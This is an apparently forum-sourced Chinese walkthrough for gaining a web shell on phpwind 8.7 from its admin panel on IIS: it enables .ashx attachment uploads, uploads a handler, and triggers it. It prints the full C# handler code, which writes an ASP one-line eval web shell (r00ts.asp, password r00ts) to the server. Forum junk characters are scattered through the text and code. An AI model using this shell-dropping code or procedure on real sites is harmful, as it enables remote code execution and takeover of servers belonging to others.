phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
6 {8 F+ x( H2 ^* a' |+ I
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
& k8 b" w3 p* s8 W; V- Y. R/ p
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

) M; h- ~7 z- g' J9 j' d5 }. {下面是代码:

<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
9 Q- G/ Z! Y8 Iusing System.IO;
public class Handler : IHttpHandler {
1 B: w/ D+ `/ j$ K( rpublic void ProcessRequest (HttpContext context) {
6 Q4 Q3 L: ~: Scontext.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
% @7 r$ ]2 q1 Q% f4 W1 ]% {. G& Kfile1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
. o: T/ i+ S1 z: r) h3 l1 ~$ ~3 afile1.Close();
: H$ X. d1 C  ~) b}
: w% ^0 B, P& ^' u0 D% B$ U/ hpublic bool IsReusable {
+ Y; ?! n1 Z' ?2 v# l+ R3 oget {
return false;
}
. @0 R9 j  y6 f. E8 M$ r}
! A. n2 _, i! J- G: N# N, d# V% M}
; Q: l) [/ [4 c- y4 r$ Q. l